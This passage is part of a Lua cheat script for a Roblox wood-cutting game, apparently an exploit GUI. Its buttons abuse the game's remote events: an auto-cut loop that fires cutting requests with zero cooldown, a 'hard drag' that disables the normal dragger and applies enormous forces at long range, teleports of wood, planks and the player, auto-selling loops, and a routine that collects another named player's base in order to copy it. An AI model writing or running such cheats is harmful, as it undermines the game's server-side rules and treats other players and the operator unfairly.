  1419.  
  1420. local Pressing = false
  1421.  
  1422. local mouse1 = game:GetService("Players").LocalPlayer:GetMouse()
  1423. mouse1.Button1Down:connect(function(key)
  1424. Pressing=true
  1425. poop(GetAxe())
  1426. end)
  1427.  
  1428. local mouse1 = game:GetService("Players").LocalPlayer:GetMouse()
  1429. mouse1.Button1Down:connect(function(key)
  1430. Pressing=false
  1431. end)
  1432.  
  1433. function cut(Height,Tool)
  1434. local Tree=game.Players.LocalPlayer:GetMouse().Target
  1435. game.ReplicatedStorage.Interaction.RemoteProxy:FireServer(Tree.Parent.CutEvent,{
  1436. ["cuttingClass"] = "Axe",
  1437. ["cooldown"] = 0,
  1438. ["hitPoints"] = HitPoints[Tool.ToolName.Value],
  1439. ["sectionId"] = 1,
  1440. ["tool"] = Tool,
  1441. ["faceVector"] = Vector3.new(-1,0,0),
  1442. ["height"] = Height})
  1443. end
  1444.  
  1445. function poop(Tool)
  1446. while Pressing do
  1447. for i=1,100 do
  1448. wait()
  1449. cut(_G.SIZE,Tool)
  1450. cut(1,Tool)
  1451. end
  1452. end
  1453. end
  1454. end)
  1455.  
  1456. local Harddrag = Instance.new("TextButton")
  1457.  
  1458. Harddrag.Name = "Harddrag"
  1459. Harddrag.Parent = WoodFrame
  1460. Harddrag.BackgroundColor3 = Color3.new(0, 0, 0)
  1461. Harddrag.BorderColor3 = Color3.new(0, 0, 0)
  1462. Harddrag.Position = UDim2.new(0, 3, 0, 49)
  1463. Harddrag.Size = UDim2.new(0, 165, 0, 20)
  1464. Harddrag.Font = Enum.Font.Fantasy
  1465. Harddrag.FontSize = Enum.FontSize.Size18
  1466. Harddrag.Text = "Hard drag"
  1467. Harddrag.TextColor3 = Color3.new(255, 0, 0)
  1468. Harddrag.TextSize = 15
  1469. Harddrag.MouseButton1Down:connect(function()
  1470.  
  1471. Harddrag.Text = "HARD DRAG ACTIVE"
  1472. Harddrag.TextColor3 = Color3.new(1, 1, 1)
  1473.  
  1474.  
  1475. local player = game.Players.LocalPlayer
  1476. local Character = player.Character or player.CharacterAdded:wait()
  1477. local Humanoid = Character:WaitForChild("Humanoid")
  1478. local walkSpeed = Humanoid.WalkSpeed
  1479. game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Dragger.Disabled = true
  1480. _G.dragRangeMin = 5
  1481. fivefour = coroutine.wrap(function()
  1482. EKey = false
  1483. QKey = false
  1484. player:GetMouse().KeyDown:connect(function(key)
  1485. if string.lower(key) == "e" then
  1486. EKey = true
  1487. elseif string.lower(key) == "q" then
  1488. QKey = true
  1489. end
  1490. end)
  1491. player:GetMouse().KeyUp:connect(function(key)
  1492. if string.lower(key) == "e" then
  1493. EKey = false
  1494. elseif string.lower(key) == "q" then
  1495. QKey = false
  1496. end
  1497. end)
  1498. while wait(0.1) do
  1499. if EKey then
  1500. F = FVal
  1501. FVal = FVal + 1000
  1502. ChangeForce(F+1000)
  1503. print(F)
  1504. end
  1505. if QKey then
  1506. F = FVal
  1507. FVal = FVal - 1000
  1508. ChangeForce(F-1000)
  1509. print(F)
  1510. end
  1511. end
  1512.  
  1513. end)
  1514. fivefour()
  1515. local dragPart = Instance.new("Part",game.Players.LocalPlayer.PlayerGui)--game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Dragger.Dragger
  1516. dragPart.Size = Vector3.new(0.2,0.2,0.2)
  1517. dragPart.BrickColor = BrickColor.new("Really red")
  1518. player.CharacterAdded:connect(function()
  1519. Character = player.Character
  1520. Humanoid = Character:WaitForChild("Humanoid")
  1521. Humanoid.Died:connect(function()
  1522. dragPart.Parent = nil
  1523. end)
  1524. end)
  1525.  
  1526. wait(1)
  1527. local dragRangeMax = 10000
  1528. local dragRangeMin = _G.dragRangeMin
  1529.  
  1530. local camera = workspace.CurrentCamera
  1531. local mouse = player:GetMouse()
  1532.  
  1533. local button1Down = false
  1534. local dragRange = dragRangeMax
  1535. FVal = 80000
  1536. local bodyPosition = Instance.new("BodyPosition", dragPart)
  1537. bodyPosition.maxForce = Vector3.new(1, 1, 1) * FVal
  1538. bodyPosition.D = 1000
  1539. bodyPosition.P = 4000
  1540. function ChangeForce(F)
  1541. if F > 0 then
  1542. F = bodyPosition.maxForce.X+F
  1543. bodyPosition.maxForce = Vector3.new(1, 1, 1) * F
  1544. else
  1545. F = bodyPosition.maxForce.X-F
  1546. bodyPosition.maxForce = Vector3.new(1, 1, 1) * F
  1547. end
  1548. end
  1549.  
  1550. local bodyGyro = Instance.new("BodyGyro", dragPart)
  1551. bodyGyro.maxTorque = Vector3.new(1, 1, 1) * 200 --4000 -- * 0.000012
  1552. bodyGyro.P = 1200
  1553. bodyGyro.D = 140 --15
  1554.  
  1555. --bodyPosition.P = bodyPosition.P * 1/19
  1556. --bodyPosition.D = bodyPosition.D * 1/19
  1557. --bodyGyro.P = bodyGyro.P * 1/19
  1558. --bodyGyro.D = bodyGyro.D * 1/19
  1559.  
  1560. local rotateCFrame = CFrame.new()
  1561.  
  1562. local weld = Instance.new("Weld", dragPart)
  1563.  
  1564. --local interactPermission = require(game.ReplicatedStorage.Interaction.InteractionPermission)
  1565. local clientIsDragging = game.ReplicatedStorage.Interaction.ClientIsDragging
  1566.  
  1567. local carryAnimationTrack
  1568.  
  1569.  
  1570. --------------------------------[[ Drag Main ]]------------------------------------
  1571.  
  1572. local draggingPart = false
  1573.  
  1574. function click()
  1575. button1Down = true
  1576.  
  1577. local targetObject = game.Players.LocalPlayer:GetMouse().Target
  1578. if not canDrag(targetObject) then
  1579. return
  1580. end
  1581.  
  1582. local mouseHit = game.Players.LocalPlayer:GetMouse().Hit.p
  1583. if (mouseHit - Character.Head.Position).magnitude > dragRangeMax then
  1584. return
  1585. end
  1586.  
  1587. initializeDrag(targetObject, mouseHit)
  1588. rotateCFrame = CFrame.new()
  1589.  
  1590. carryAnimationTrack:Play(0.1, 1, 1)
  1591.  
  1592. local dragIsFailing = 0
  1593. local dragTime = 0
  1594.  
  1595.  
  1596. while button1Down and canDrag(targetObject) do
  1597. local desiredPos = Character.Head.Position + (game.Players.LocalPlayer:GetMouse().Hit.p - Character.Head.Position).unit * dragRange
  1598.  
  1599. local dragRay = Ray.new(Character.Head.Position, desiredPos - Character.Head.Position)
  1600. local part, pos = workspace:FindPartOnRayWithIgnoreList(dragRay, {Character, dragPart, targetObject.Parent})
  1601.  
  1602. if part then
  1603. desiredPos = pos
  1604. end
  1605.  
  1606. if (camera.CoordinateFrame.p - Character.Head.Position).magnitude > 2 then
  1607. desiredPos = desiredPos + Vector3.new(0, 1.8, 0)
  1608. end
  1609.  
  1610. moveDrag(desiredPos)
  1611. bodyGyro.cframe = CFrame.new(dragPart.Position, camera.CoordinateFrame.p) * rotateCFrame
  1612.  
  1613. local targParent = findHighestParent(targetObject) or targetObject
  1614.  
  1615. local attemptingToSurf = false
  1616. for _, check in pairs({{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.7, -2.8, 0)).p, Vector3.new(0, -2, 0))},
  1617. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, 0)).p, Vector3.new(0, -2, 0))},
  1618. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0, -2.8, 0)).p, Vector3.new(0, -2, 0))},
  1619. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, 0)).p, Vector3.new(0, -2, 0))},
  1620. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(-0.7, -2.8, 0)).p, Vector3.new(0, -2, 0))},
  1621.  
  1622. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, 0.6)).p, Vector3.new(0, -2, 0))},
  1623. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0, -2.8, 0.6)).p, Vector3.new(0, -2, 0))},
  1624. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, 0.6)).p, Vector3.new(0, -2, 0))},
  1625.  
  1626. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, -0.6)).p, Vector3.new(0, -2, 0))},
  1627. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0, -2.8, -0.6)).p, Vector3.new(0, -2, 0))},
  1628. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, -0.6)).p, Vector3.new(0, -2, 0))},
  1629.  
  1630. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.5, -0.8, 0)).p, Character.HumanoidRootPart.CFrame.lookVector), State = Enum.HumanoidStateType.Climbing},
  1631. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(-0.5, -0.8, 0)).p, Character.HumanoidRootPart.CFrame.lookVector), State = Enum.HumanoidStateType.Climbing},
  1632. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.5, -1.3, 0)).p, Character.HumanoidRootPart.CFrame.lookVector), State = Enum.HumanoidStateType.Climbing},
  1633. {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(-0.5, -1.3, 0)).p, Character.HumanoidRootPart.CFrame.lookVector), State = Enum.HumanoidStateType.Climbing}
  1634.  
  1635. }) do
  1636.  
  1637. local ray = check.Ray
  1638. local part, _ = workspace:FindPartOnRayWithIgnoreList(ray, {Character})
  1639. local op = part
  1640. part = part and findHighestParent(part)
  1641.  
  1642. if part and (not check.State or Humanoid:GetState() == check.State) then
  1643. if part == targParent then
  1644. attemptingToSurf = true
  1645. else
  1646. for _, connectedPart in pairs(op:GetConnectedParts(true)) do
  1647.  
  1648. if connectedPart == targetObject--[[targParent]] then
  1649. attemptingToSurf = true
  1650. break
  1651. end
  1652. end
  1653. end
  1654.  
  1655. if attemptingToSurf then
  1656. break
  1657. end
  1658. end
  1659. end
  1660.  
  1661.  
  1662.  
  1663.  
  1664.  
  1665. local falling = Humanoid:GetState() == Enum.HumanoidStateType.Freefall or Humanoid:GetState() == Enum.HumanoidStateType.FallingDown--not part1 and not part2
  1666.  
  1667.  
  1668. if attemptingToSurf then
  1669. dragIsFailing = 0
  1670. elseif falling then
  1671. dragIsFailing = 0
  1672. elseif (dragPart.Position - desiredPos).magnitude > 5 then
  1673. dragIsFailing = 0
  1674. else
  1675. dragIsFailing = 0
  1676. end
  1677. if dragIsFailing > 16 then
  1678. break
  1679. end
  1680.  
  1681.  
  1682. if dragTime % 10 == 0 and targParent.Parent:FindFirstChild("BedInfo") and targParent.Parent:FindFirstChild("Main") then
  1683. game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Parent.Scripts.VehicleControl.SetVehicleOwnership:Fire(targParent.Parent.Main)
  1684. end
  1685.  
  1686. clientIsDragging:FireServer(targParent.Parent)
  1687.  
  1688. wait()
  1689. dragTime = 0
  1690. end
  1691.  
  1692. carryAnimationTrack:Stop()
  1693.  
  1694. endDrag()
  1695. end
  1696.  
  1697.  
  1698. function findHighestParent(child)
  1699. if not child or not child.Parent or child.Parent == workspace then
  1700. return nil
  1701. end
  1702.  
  1703. local ret = child.Parent:FindFirstChild("Owner") and child
  1704. return findHighestParent(child.Parent) or ret
  1705. end
  1706.  
  1707.  
  1708.  
  1709. function clickEnded()
  1710. button1Down = false
  1711. end
  1712.  
  1713. function holdDistanceChanged()
  1714. dragRange = dragRangeMax--[[_G.dragRangeMin + (1 - dist) * (dragRangeMax - _G.dragRangeMin)]]
  1715. end
  1716.  
  1717.  
  1718. function canDrag(targetObject)
  1719.  
  1720.  
  1721. if not (targetObject and not targetObject.Anchored and targetObject.Parent and Humanoid.Health > 0) then -- General conditions
  1722. return false
  1723. end
  1724.  
  1725. if targetObject.Name == "LeafPart" then
  1726. return false
  1727. end
  1728.  
  1729. local originTargetObject = targetObject
  1730. targetObject = findHighestParent(targetObject) or targetObject
  1731.  
  1732. bodyGyro.Parent = dragPart
  1733.  
  1734.  
  1735. --[[if not (targetObject.Parent:FindFirstChild("Owner") or targetObject.Parent.Parent:FindFirstChild("Owner")) then
  1736. return otherDraggable(targetObject, originTargetObject)
  1737. end]]
  1738.  
  1739. if targetObject.Parent:FindFirstChild("Owner") or targetObject.Parent.Parent:FindFirstChild("Owner") then
  1740. return true
  1741. end
  1742.  
  1743. if targetObject.Parent:FindFirstChild("TreeClass") then -- Wood class
  1744. return true
  1745. end
  1746. if targetObject.Parent:FindFirstChild("BoxItemName") then -- Shop items
  1747. return true
  1748. end
  1749. if targetObject.Parent:FindFirstChild("PurchasedBoxItemName") then -- Purchased box items
  1750. return true
  1751. end
  1752. if targetObject.Parent:FindFirstChild("Handle") then -- Tool items
  1753. return true
  1754. end
  1755.  
  1756. return otherDraggable(targetObject, originTargetObject)
  1757. end
  1758.  
  1759. function otherDraggable(targetObject, originTargetObject)
  1760. local draggable = targetObject and targetObject.Parent and targetObject.Parent:FindFirstChild("DraggableItem") or originTargetObject and originTargetObject.Parent and originTargetObject.Parent:FindFirstChild("DraggableItem")
  1761. if draggable then -- Other stuff
  1762. if draggable:FindFirstChild("NoRotate") then
  1763. bodyGyro.Parent = nil
  1764. end
  1765. return true
  1766. end
  1767. end
  1768.  
  1769. function initializeDrag(targetObject,mouseHit)
  1770. draggingPart = true
  1771. mouse.TargetFilter = targetObject and findHighestParent(targetObject) and findHighestParent(targetObject).Parent or targetObject
  1772.  
  1773. dragPart.CFrame = CFrame.new(mouseHit, camera.CoordinateFrame.p)
  1774.  
  1775. weld.Part0 = dragPart
  1776. weld.Part1 = targetObject
  1777. weld.C0 = CFrame.new(mouseHit,camera.CoordinateFrame.p):inverse() * targetObject.CFrame
  1778. weld.Parent = dragPart
  1779.  
  1780. dragPart.Parent = workspace
  1781. end
  1782.  
  1783. function endDrag()
  1784. mouse.TargetFilter = nil
  1785. dragPart.Parent = nil
  1786. draggingPart = false
  1787. end
  1788.  
  1789. --------------------------------[[ Do Prompt ]]------------------------------------
  1790.  
  1791.  
  1792. local dragGuiState = ""
  1793. function interactLoop()
  1794. while true do
  1795. wait()
  1796.  
  1797. local newState = ""
  1798.  
  1799. local mouseHit = game.Players.LocalPlayer:GetMouse().Hit.p
  1800. local targetObject = game.Players.LocalPlayer:GetMouse().Target
  1801.  
  1802.  
  1803. if draggingPart then
  1804. newState = "Dragging"
  1805. elseif canDrag(targetObject) and not button1Down and (mouseHit - Character.Head.Position).magnitude < dragRangeMax then
  1806. newState = "Mouseover"
  1807. end
  1808.  
  1809. if true then-- not (newState == dragGuiState) then
  1810. dragGuiState = newState
  1811. setPlatformControls()
  1812.  
  1813. if dragGuiState == "" then
  1814. game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.Visible = false
  1815. game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.Visible = false
  1816. elseif dragGuiState == "Mouseover" then
  1817. game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.Visible = true
  1818. game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.Visible = false
  1819. elseif dragGuiState == "Dragging" then
  1820. game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.Visible = false
  1821. game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.Visible = not (bodyGyro.Parent == nil) and (not player:FindFirstChild("IsChatting") or player.IsChatting.Value < 1)
  1822. end
  1823. end
  1824.  
  1825. end
  1826. end
  1827.  
  1828.  
  1829. --------------------------------[[ Drag Moving ]]------------------------------------
  1830.  
  1831.  
  1832. function moveDrag(pos)
  1833. bodyPosition.position = pos
  1834. end
  1835. local rotateSpeedReduce = 0.036
  1836.  
  1837. local lastRotateTick
  1838. function crotate(amount, speed)
  1839.  
  1840. if not draggingPart then
  1841. if not player:FindFirstChild("IsChatting") or player.IsChatting.Value < 2 then
  1842. Humanoid.WalkSpeed = walkSpeed
  1843. end
  1844. return
  1845. end
  1846.  
  1847. if Humanoid.WalkSpeed > 1 then
  1848. walkSpeed = Humanoid.WalkSpeed
  1849. Humanoid.WalkSpeed = 0
  1850. end
  1851.  
  1852. lastRotateTick = tick()
  1853. local thisRotateTick = lastRotateTick
  1854.  
  1855. while draggingPart and amount.magnitude > 0 and lastRotateTick == thisRotateTick do
  1856. rotateCFrame = CFrame.Angles(0, -amount.X * rotateSpeedReduce, 0) * CFrame.Angles(amount.Y * rotateSpeedReduce, 0, 0) * rotateCFrame
  1857. wait()
  1858. end
  1859.  
  1860. if amount.magnitude == 0 then
  1861. if not player:FindFirstChild("IsChatting") or player.IsChatting.Value < 2 then
  1862. Humanoid.WalkSpeed = walkSpeed
  1863. end
  1864. end
  1865. end
  1866.  
  1867. --------------------------------[[ User Input ]]------------------------------------
  1868.  
  1869. wait(1)
  1870.  
  1871. carryAnimationTrack = Humanoid:LoadAnimation(game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Dragger:WaitForChild("CarryItem"))
  1872.  
  1873. --input = require(game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Parent:WaitForChild("Scripts"):WaitForChild("UserInput"))
  1874.  
  1875. game.Players.LocalPlayer:GetMouse().Button1Down:connect(function()
  1876. click()
  1877. holdDistanceChanged()
  1878. end)
  1879. game.Players.LocalPlayer:GetMouse().Button1Up:connect(function()
  1880. clickEnded()
  1881. end)
  1882. --input.ClickBegan(click, holdDistanceChanged)
  1883. --input.ClickEnded(clickEnded)
  1884.  
  1885. --input.Rotate(crotate)
  1886.  
  1887.  
  1888. function setPlatformControls()
  1889. game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.PlatformButton.Image = game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.PlatformButton.PC.Value
  1890. game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.PlatformButton.KeyLabel.Text = "CLICK"
  1891. game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.PlatformButton.Image = game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.PlatformButton.PC.Value
  1892. game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.PlatformButton.KeyLabel.Text = "SHIFT + WASD"
  1893. end
  1894.  
  1895.  
  1896. interactLoop()
  1897. end)
  1898.  
  1899. local SellWood = Instance.new("TextButton")
  1900.  
  1901. SellWood.Name = "SellWood"
  1902. SellWood.Parent = WoodFrame
  1903. SellWood.BackgroundColor3 = Color3.new(0, 0, 0)
  1904. SellWood.BorderColor3 = Color3.new(0, 0, 0)
  1905. SellWood.Position = UDim2.new(0, 3, 0, 72)
  1906. SellWood.Size = UDim2.new(0, 165, 0, 20)
  1907. SellWood.Font = Enum.Font.Fantasy
  1908. SellWood.FontSize = Enum.FontSize.Size18
  1909. SellWood.Text = "Sell Cut Wood"
  1910. SellWood.TextColor3 = Color3.new(255, 0, 0)
  1911. SellWood.TextSize = 15
  1912. SellWood.MouseButton1Down:connect(function()
  1913. for _, Log in pairs(workspace.LogModels:GetChildren()) do
  1914. if Log.Name:sub(1, 6) == "Loose_" and Log:findFirstChild("Owner") then
  1915. if Log.Owner.Value == game.Players.LocalPlayer then
  1916. for i,v in pairs(Log:GetChildren()) do
  1917. if v.Name=="WoodSection" then
  1918. spawn(function()
  1919. for i=1,10 do
  1920. wait()
  1921. v.CFrame=CFrame.new(Vector3.new(315, -0.296, 85.791))*CFrame.Angles(math.rad(90),0,0)
  1922. end
  1923. end)
  1924. end
  1925. end
  1926. spawn(function()
  1927. for i=1,20 do
  1928. wait()
  1929. game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Log)
  1930. end
  1931. end)
  1932. end
  1933. end
  1934. end
  1935. end)
  1936.  
  1937. local SellPlanks = Instance.new("TextButton")
  1938.  
  1939. SellPlanks.Name = "SellWood"
  1940. SellPlanks.Parent = WoodFrame
  1941. SellPlanks.BackgroundColor3 = Color3.new(0, 0, 0)
  1942. SellPlanks.BorderColor3 = Color3.new(0, 0, 0)
  1943. SellPlanks.Position = UDim2.new(0, 3, 0, 95)
  1944. SellPlanks.Size = UDim2.new(0, 165, 0, 20)
  1945. SellPlanks.Font = Enum.Font.Fantasy
  1946. SellPlanks.FontSize = Enum.FontSize.Size18
  1947. SellPlanks.Text = "Sell Planks"
  1948. SellPlanks.TextColor3 = Color3.new(255, 0, 0)
  1949. SellPlanks.TextSize = 15
  1950. SellPlanks.MouseButton1Click:Connect(function()
  1951. for _, Plank in pairs(game.Workspace.PlayerModels:GetChildren()) do
  1952. if Plank.Name=="Plank" and Plank:findFirstChild("Owner") then
  1953. if Plank.Owner.Value == game.Players.LocalPlayer then
  1954. for i,v in pairs(Plank:GetChildren()) do
  1955. if v.Name=="WoodSection" then
  1956. spawn(function()
  1957. for i=1,10 do
  1958. wait()
  1959. v.CFrame=CFrame.new(Vector3.new(315, -0.296, 85.791))*CFrame.Angles(math.rad(90),0,0)
  1960. end
  1961. end)
  1962. end
  1963. end
  1964. spawn(function()
  1965. for i=1,20 do
  1966. wait()
  1967. game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Plank)
  1968. end
  1969. end)
  1970. end
  1971. end
  1972. end
  1973. end)
  1974.  
  1975. local TPWood = Instance.new("TextButton")
  1976.  
  1977. TPWood.Name = "TPWood"
  1978. TPWood.Parent = WoodFrame
  1979. TPWood.BackgroundColor3 = Color3.new(0, 0, 0)
  1980. TPWood.BorderColor3 = Color3.new(0, 0, 0)
  1981. TPWood.Position = UDim2.new(0, 3, 0, 118)
  1982. TPWood.Size = UDim2.new(0, 165, 0, 20)
  1983. TPWood.Font = Enum.Font.Fantasy
  1984. TPWood.FontSize = Enum.FontSize.Size18
  1985. TPWood.Text = "TP Wood to You"
  1986. TPWood.TextColor3 = Color3.new(255, 0, 0)
  1987. TPWood.TextSize = 15
  1988. TPWood.MouseButton1Click:Connect(function()
  1989. for _, Log in pairs(game.Workspace.LogModels:GetChildren()) do
  1990. if Log.Name:sub(1, 6) == "Loose_" and Log:findFirstChild("Owner") then
  1991. if Log.Owner.Value == game.Players.LocalPlayer then
  1992. Log:MoveTo(game.Players.LocalPlayer.Character.HumanoidRootPart.Position + Vector3.new(0, 20, 0))
  1993. for i=1,100 do
  1994. game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Log)
  1995. end
  1996. end
  1997. end
  1998. end
  1999. end)
  2000.  
  2001. local TpAllPlanks = Instance.new("TextButton")
  2002.  
  2003. TpAllPlanks.Name = "TpAllPlanks"
  2004. TpAllPlanks.Parent = WoodFrame
  2005. TpAllPlanks.BackgroundColor3 = Color3.new(0, 0, 0)
  2006. TpAllPlanks.BorderColor3 = Color3.new(0, 0, 0)
  2007. TpAllPlanks.Position = UDim2.new(0, 3, 0, 141)
  2008. TpAllPlanks.Size = UDim2.new(0, 165, 0, 20)
  2009. TpAllPlanks.Font = Enum.Font.Fantasy
  2010. TpAllPlanks.FontSize = Enum.FontSize.Size18
  2011. TpAllPlanks.Text = "TP Planks to You"
  2012. TpAllPlanks.TextColor3 = Color3.new(255, 0, 0)
  2013. TpAllPlanks.TextSize = 15
  2014. TpAllPlanks.MouseButton1Click:Connect(function()
  2015. for _, Plank in pairs(game.Workspace.PlayerModels:GetChildren()) do
  2016. if Plank.Name=="Plank" and Plank:findFirstChild("Owner") then
  2017. if Plank.Owner.Value == game.Players.LocalPlayer then
  2018. sendNotice = game.ReplicatedStorage.Notices.SendUserNotice
  2019. sendNotice:Fire("Click where you want ALL the Planks to TP to")
  2020. local ButtonPress
  2021. ButtonPress = game.Players.LocalPlayer:GetMouse().Button1Down:Connect(function()
  2022. Square = game.Players.LocalPlayer:GetMouse().Target
  2023. if (Square.Name == "OriginSquare" or Square.Name == "Square") then
  2024. ButtonPress:Disconnect()
  2025. Plank:MoveTo(Square.Position)
  2026. for i=1,100 do
  2027. game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Plank)
  2028. end
  2029. end
  2030. end)
  2031. end
  2032. end
  2033. end
  2034. end)
  2035.  
  2036. local TeleportToSpook = Instance.new("TextButton")
  2037.  
  2038. TeleportToSpook.Name = "TeleportToSpook"
  2039. TeleportToSpook.Parent = WoodFrame
  2040. TeleportToSpook.BackgroundColor3 = Color3.new(0, 0, 0)
  2041. TeleportToSpook.BorderColor3 = Color3.new(0, 0, 0)
  2042. TeleportToSpook.Position = UDim2.new(0, 3, 0, 164)
  2043. TeleportToSpook.Size = UDim2.new(0, 165, 0, 20)
  2044. TeleportToSpook.Font = Enum.Font.Fantasy
  2045. TeleportToSpook.FontSize = Enum.FontSize.Size18
  2046. TeleportToSpook.Text = "TeleportToSpook"
  2047. TeleportToSpook.TextColor3 = Color3.new(255, 0, 0)
  2048. TeleportToSpook.TextSize = 15
  2049. TeleportToSpook.MouseButton1Click:Connect(function()
  2050. for i, v in pairs(game.Workspace:GetChildren()) do
  2051. if v.Name == "TreeRegion" then
  2052. for j, k in ipairs(v:GetChildren()) do
  2053. if k:FindFirstChild("TreeClass") and k.TreeClass.Value == "Spooky" or k:FindFirstChild("TreeClass") and k.TreeClass.Value == "SpookyNeon" then
  2054. game.Players.LocalPlayer.Character:MoveTo(k.WoodSection.Position)
  2055. break
  2056. end
  2057. end
  2058. end
  2059. end
  2060. end)
  2061.  
  2062. local PlayerNameBox = Instance.new("TextBox")
  2063. local CopyFrame = Instance.new("Frame")
  2064. local Copymenu = Instance.new("ImageButton")
  2065.  
  2066. Copymenu.Name = "Copymenu"
  2067. Copymenu.Parent = Picker
  2068. Copymenu.BackgroundColor3 = Color3.new(1, 1, 1)
  2069. Copymenu.BorderColor3 = Color3.new(0, 0, 0)
  2070. Copymenu.Position = UDim2.new(0, 15, 0,260)
  2071. Copymenu.Size = UDim2.new(0, 80, 0, 80)
  2072. Copymenu.ZIndex = 3
  2073. Copymenu.Image = "rbxassetid://3899462163"
  2074. Copymenu.ScaleType = Enum.ScaleType.Crop
  2075. Copymenu.MouseButton1Click:Connect(function()
  2076. CurrentItem.Image = "rbxassetid://3886256996"
  2077. AIntroImage.Visible = false
  2078. AIntroImage1.Visible = false
  2079. end)
  2080.  
  2081. CopyFrame.Name = "CopyFrame"
  2082. CopyFrame.Parent = MenuFrame
  2083. CopyFrame.BorderSizePixel = 1
  2084. CopyFrame.BackgroundTransparency = 0
  2085. CopyFrame.BorderColor3 = Color3.new(0, 0, 0)
  2086. CopyFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  2087. CopyFrame.Size = UDim2.new(0, 170, 0, 439)
  2088. CopyFrame.Visible = false
  2089.  
  2090. PlayerNameBox.Name = "PlayerNameBox"
  2091. PlayerNameBox.Parent = CopyFrame
  2092. PlayerNameBox.BackgroundColor3 = Color3.new(0, 0, 0)
  2093. PlayerNameBox.BorderColor3 = Color3.new(0, 0, 0)
  2094. PlayerNameBox.Position = UDim2.new(0, 3, 0, 3)
  2095. PlayerNameBox.Size = UDim2.new(0, 165, 0, 20)
  2096. PlayerNameBox.Font = Enum.Font.Fantasy
  2097. PlayerNameBox.FontSize = Enum.FontSize.Size18
  2098. PlayerNameBox.Text = "PLAYER NAME"
  2099. PlayerNameBox.TextColor3 = Color3.new(255, 0, 0)
  2100. PlayerNameBox.TextSize = 15
  2101.  
  2102. local CopyBase = Instance.new("TextButton")
  2103.  
  2104. CopyBase.Name = "CopyBase"
  2105. CopyBase.Parent = CopyFrame
  2106. CopyBase.BackgroundColor3 = Color3.new(0, 0, 0)
  2107. CopyBase.BorderColor3 = Color3.new(0, 0, 0)
  2108. CopyBase.Position = UDim2.new(0, 3, 0, 26)
  2109. CopyBase.Size = UDim2.new(0, 165, 0, 20)
  2110. CopyBase.Font = Enum.Font.Fantasy
  2111. CopyBase.FontSize = Enum.FontSize.Size18
  2112. CopyBase.Text = "Copy Base"
  2113. CopyBase.TextColor3 = Color3.new(255, 0, 0)
  2114. CopyBase.TextSize = 15
  2115. --//Setting\\
  2116. CopyBase.MouseButton1Down:connect(function()
  2117. local RunService = game:GetService("RunService")
  2118. local TargetPlayer = PlayerNameBox.Text
  2119. local SlowMode = false
  2120. local WipeLocal = false
  2121.  
  2122. local CopyStructure = true
  2123. local CopyWire = true
  2124. local CopyItems = true
  2125. local CopyFurniture = true
  2126.  
  2127. --------------------------------------
  2128. if WipeLocal then
  2129. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  2130. if v:FindFirstChild("Owner") then
  2131. if v.Owner.Value == game.Players.LocalPlayer then
  2132. game.ReplicatedStorage.Interaction.DestroyStructure:FireServer(v)
  2133. end
  2134. end
  2135. end
  2136. wait(0.5)
  2137. end
  2138.  
  2139. for i,v in pairs(game.Players:GetChildren()) do
  2140. if v ~= game.Players.LocalPlayer then
  2141. if v.Name:find(TargetPlayer) then
  2142. TargetPlayer = v
  2143. break
  2144. end
  2145. end
  2146. end
  2147.  
  2148. local LocalLand, TargetLand
  2149.  
  2150. for i,v in pairs(game.Workspace.Properties:GetChildren()) do
  2151. if v:FindFirstChild("Owner") then
  2152. if v.Owner.Value == TargetPlayer then
  2153. TargetLand = v
  2154. elseif v.Owner.Value == game.Players.LocalPlayer then
  2155. LocalLand = v
  2156. end
  2157. end
  2158. end
  2159.  
  2160. local CollectedTargetStructures, CollectedLocalStructures, CollectedLocalFurnitures, CollectedTargetFurnitures, CollectedLocalItems, CollectedTargetItems = {}, {}, {}, {}, {}, {}
  2161. local CollectedTargetItemsCopy, CollectedTargetFurnituresCopy = {}, {}
  2162. local TotalCollectedBlueprints = 0
  2163.  
  2164. if CopyStructure then
  2165. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  2166. if v:FindFirstChild("Owner") and v.Owner.Value == TargetPlayer then
